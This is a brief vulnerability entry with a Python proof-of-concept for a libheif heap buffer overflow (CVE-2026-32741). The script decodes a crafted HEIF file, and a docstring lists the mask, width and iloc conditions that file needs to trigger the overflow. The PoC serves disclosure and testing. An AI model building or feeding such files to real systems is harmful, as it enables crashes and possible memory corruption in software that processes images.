CVE-2026-32741 libheif堆缓冲区溢出漏洞

import libheif import sys """ PoC for CVE-2026-32741 This script attempts to decode a crafted HEIF file that triggers the heap buffer overflow in libheif < 1.22.0. Prerequisites for the crafted file ('exploit.heic'): 1. Must contain a mask image (mski). 2. mskC property must specify bits_per_pixel = 8. 3. ispe property must declare an even width >= 64. 4. The iloc extent size must be larger than the calculated pixel buffer size. """ def trigger_vulnerability(file_path): try: # Initialize a HEIF context ctx = libheif.Context() # Read the crafted file into memory with open(file_path, 'rb') as f: file_data = f.read() # Feed the data to the decoder ctx.read_from_memory(file_data) # Get the primary image handle and attempt to decode it # This invokes the vulnerable MaskImageCodec::decode_mask_image() primary_handle = ctx.get_primary_image_handle() image = primary_handle.decode_image() print("[+] Decoding completed. If the library is vulnerable, it may have crashed before this point.") except Exception as e: print(f"[-] An exception occurred: {e}") if __name__ == "__main__": # Replace 'exploit.heic' with the path to the actual crafted file # Generating a valid HEIF binary with specific iloc manipulation requires # complex binary construction, typically done with a hex editor or specialized file generator. trigger_vulnerability('exploit.heic')